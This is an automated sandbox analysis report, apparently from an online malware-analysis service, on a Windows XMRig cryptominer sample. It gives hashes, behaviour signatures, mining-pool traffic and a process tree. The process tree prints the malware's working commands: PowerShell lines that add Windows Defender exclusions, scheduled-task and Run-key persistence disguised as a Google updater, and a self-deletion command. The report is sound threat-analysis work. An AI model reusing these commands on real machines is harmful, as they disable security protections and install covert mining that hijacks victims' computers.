Resubmissions

21/07/2024, 20:17 UTC

240721-y27lvsvfll 10

06/06/2024, 10:00 UTC

240606-l14glacf9x 10

06/06/2024, 10:00 UTC

240606-l12yrscf9w 10

06/06/2024, 09:56 UTC

240606-lyrd9acf71 10

06/06/2024, 09:55 UTC

240606-lx1xascf7v 10

06/06/2024, 09:55 UTC

240606-lxyf6scf7t 10

06/06/2024, 09:35 UTC

240606-lkvvhsce2y 10

06/06/2024, 09:32 UTC

240606-lhs8xacd7v 10

06/06/2024, 09:32 UTC

240606-lhsx5sdd47 10

Analysis

  • max time kernel
    509s
  • max time network
    1784s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    06/06/2024, 09:32 UTC

General

  • Target

    qM5GMXBk6hJE6Y5e (16).exe

  • Size

    2.0MB

  • MD5

    a16a669a09bf158058b83e04e69fe38e

  • SHA1

    f6c94763850d9e590d86057139e8895a7aacdeea

  • SHA256

    cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

  • SHA512

    658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

  • SSDEEP

    49152:rWVipAxqo5p88CbXuxWQiSJU320ZW21Q0YWAij64ane6szjmL/45:rxAEcp9ueXit9WAQ0YWuO

Malware Config

Signatures

  • Suspicious use of NtCreateUserProcessOtherParentProcess 10 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 29 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • UPX packed file 30 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in System32 directory 5 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 4 IoCs
  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 25 IoCs
  • Suspicious use of AdjustPrivilegeToken 31 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:1204
      • C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe
        "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe"
        2⤵
        • Suspicious use of NtCreateUserProcessOtherParentProcess
        • Drops file in Program Files directory
        • Suspicious behavior: EnumeratesProcesses
        PID:2316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2320
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2932
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
          3⤵
          • Creates scheduled task(s)
          PID:2788
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#glbtb#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
        2⤵
        • Drops file in System32 directory
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:760
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
          3⤵
            PID:2636
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\qM5GMXBk6hJE6Y5e (16).exe"
          2⤵
          • Deletes itself
          • Suspicious use of WriteProcessMemory
          PID:2604
          • C:\Windows\System32\choice.exe
            choice /C Y /N /D Y /T 3
            3⤵
              PID:2520
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
            2⤵
            • Command and Scripting Interpreter: PowerShell
            • Drops file in System32 directory
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2900
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#wokgfo#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
            2⤵
            • Drops file in System32 directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:2688
            • C:\Windows\system32\schtasks.exe
              "C:\Windows\system32\schtasks.exe" /create /f /sc onlogon /rl highest /ru System /tn GoogleUpdateTaskMachineQC /tr "'C:\Program Files\Google\Chrome\updater.exe'"
              3⤵
              • Creates scheduled task(s)
              PID:2008
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe qtdiqnkejoz
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Suspicious behavior: EnumeratesProcesses
            PID:1760
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            • Suspicious use of WriteProcessMemory
            PID:700
            • C:\Windows\System32\Wbem\WMIC.exe
              wmic PATH Win32_VideoController GET Name, VideoProcessor
              3⤵
              • Detects videocard installed
              • Modifies data under HKEY_USERS
              • Suspicious use of AdjustPrivilegeToken
              PID:2704
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
            2⤵
            • Drops file in Program Files directory
            PID:1672
          • C:\Windows\System32\conhost.exe
            C:\Windows\System32\conhost.exe coygkprqxpklmnvz 6E3sjfZq2rJQaxvLPmXgsF7vH8nKLC0ur3jCwye3fPooFst8AJlNjZc1TvSyIQTKz3bkbADxizSwgp6IHJKg4enmph7iNmIeAYcJJRGkawcinVbrMdr45fHmW9ZqCrw3dSLKVMKzrI2u4sgGlTj0G1RmIYUpqYq+tIjGyNap0si+Bl1xh/1o3aGmtmdST7PlUgkYz6ci8qWCk/Icfx3DrSi2oQaBV3Dr68Ysn/4ifK09AI9K4Wz/J2kKABX44SMSz/klz2Q+FtxUOLuLpB0ApMJVvTxUIOnUHLATPgLq86uJLXtnMRoz90CklrR3X6ggj+Qodet1aWyPnFIog0clkH9Lt1wIn/XNs6NZ/3bJg2NyJ2xuvDRy+oOBgUebKWiz
            2⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1516
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {75784E6D-0BC6-4C8E-A3D7-CA4130757840} S-1-5-18:NT AUTHORITY\System:Service:
          1⤵
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:3020
          • C:\Program Files\Google\Chrome\updater.exe
            "C:\Program Files\Google\Chrome\updater.exe"
            2⤵
            • Suspicious use of NtCreateUserProcessOtherParentProcess
            • Executes dropped EXE
            • Suspicious use of SetThreadContext
            • Drops file in Program Files directory
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1108

        Network

        • flag-us
          DNS
          pool.hashvault.pro
          conhost.exe
          Remote address:
          8.8.8.8:53
          Request
          pool.hashvault.pro
          IN A
          Response
          pool.hashvault.pro
          IN A
          45.76.89.70
          pool.hashvault.pro
          IN A
          95.179.241.203
        • 95.179.241.203:3333
          pool.hashvault.pro
          tls
          conhost.exe
          8.7kB
          58.7kB
          119
          116
        • 8.8.8.8:53
          pool.hashvault.pro
          dns
          conhost.exe
          64 B
          96 B
          1
          1

          DNS Request

          pool.hashvault.pro

          DNS Response

          45.76.89.70
          95.179.241.203

        MITRE ATT&CK Enterprise v15

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        • C:\Program Files\Google\Libs\g.log

          Filesize

          198B

          MD5

          37dd19b2be4fa7635ad6a2f3238c4af1

          SHA1

          e5b2c034636b434faee84e82e3bce3a3d3561943

          SHA256

          8066872eea036f3ff59d58ff82ea1d5a8248ebc3c2b6161a17fe5c48441edc07

          SHA512

          86e8550412f282e18ef0c6417ee94e9c141433913452efffb738d92f040e20ecc5e2250e9e2ac1f94c248eab83a601cba5b006e982a4aefe9dcb88e9c53c67e5

        • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

          Filesize

          7KB

          MD5

          7a09dfbe646d95f88b66f5d4d1d402c0

          SHA1

          3262331718724b62856bd4d4eb68847594de27b4

          SHA256

          667b9f72f2bd76d81baee0fe94ccfdf1a9398ab1d59ef29525f485e47f3797ac

          SHA512

          995cf87d7024d4b9ebb0416ff7ef28f1f3280a3018dfd7ecd81d0e19e7403051273f67d6cbcea0d2b2ca59417ba2565d41df50ae9b4823bec350da0dc8dada4c

        • \Program Files\Google\Chrome\updater.exe

          Filesize

          2.0MB

          MD5

          a16a669a09bf158058b83e04e69fe38e

          SHA1

          f6c94763850d9e590d86057139e8895a7aacdeea

          SHA256

          cacc0261ccf7578ef5c1f9fdbe35705ad91070d020a4225e05cbf71a6103ac8e

          SHA512

          658b52ad1d27becee5b5bbd443d43da38b88d49880e72c8cb843f176a2d84d571b39c34dbc7cfb7ea56acc548acc5b68cce47a8bcf9d173feec031f7e33a09c6

        • memory/1108-40-0x000000013F980000-0x000000013FB91000-memory.dmp

          Filesize

          2.1MB

        • memory/1108-33-0x000000013F980000-0x000000013FB91000-memory.dmp

          Filesize

          2.1MB

        • memory/1516-74-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-76-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-100-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-98-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-96-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-94-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-92-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-90-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-88-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-86-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-84-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-82-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-80-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-78-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-42-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-41-0x00000000000B0000-0x00000000000D0000-memory.dmp

          Filesize

          128KB

        • memory/1516-72-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-44-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-46-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-70-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-48-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-50-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-52-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-54-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-56-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-58-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-60-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-62-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-64-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-66-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1516-68-0x0000000140000000-0x00000001407F4000-memory.dmp

          Filesize

          8.0MB

        • memory/1760-47-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/1760-43-0x0000000140000000-0x0000000140016000-memory.dmp

          Filesize

          88KB

        • memory/2316-0-0x000000013FF60000-0x0000000140171000-memory.dmp

          Filesize

          2.1MB

        • memory/2316-23-0x000000013FF60000-0x0000000140171000-memory.dmp

          Filesize

          2.1MB

        • memory/2320-10-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2320-6-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

          Filesize

          2.9MB

        • memory/2320-7-0x0000000002200000-0x0000000002208000-memory.dmp

          Filesize

          32KB

        • memory/2320-8-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2320-5-0x000007FEF566E000-0x000007FEF566F000-memory.dmp

          Filesize

          4KB

        • memory/2320-9-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2320-11-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2320-13-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2320-12-0x000007FEF53B0000-0x000007FEF5D4D000-memory.dmp

          Filesize

          9.6MB

        • memory/2932-21-0x00000000002C0000-0x00000000002C8000-memory.dmp

          Filesize

          32KB

        • memory/2932-20-0x000000001B490000-0x000000001B772000-memory.dmp

          Filesize

          2.9MB

        • memory/2932-19-0x0000000002A80000-0x0000000002B00000-memory.dmp

          Filesize

          512KB

        We care about your privacy.

        This website stores cookies on your computer. These cookies are used to improve your website experience and provide more personalized services to you, both on this website and through other media. To find out more about the cookies we use, see our Privacy Policy.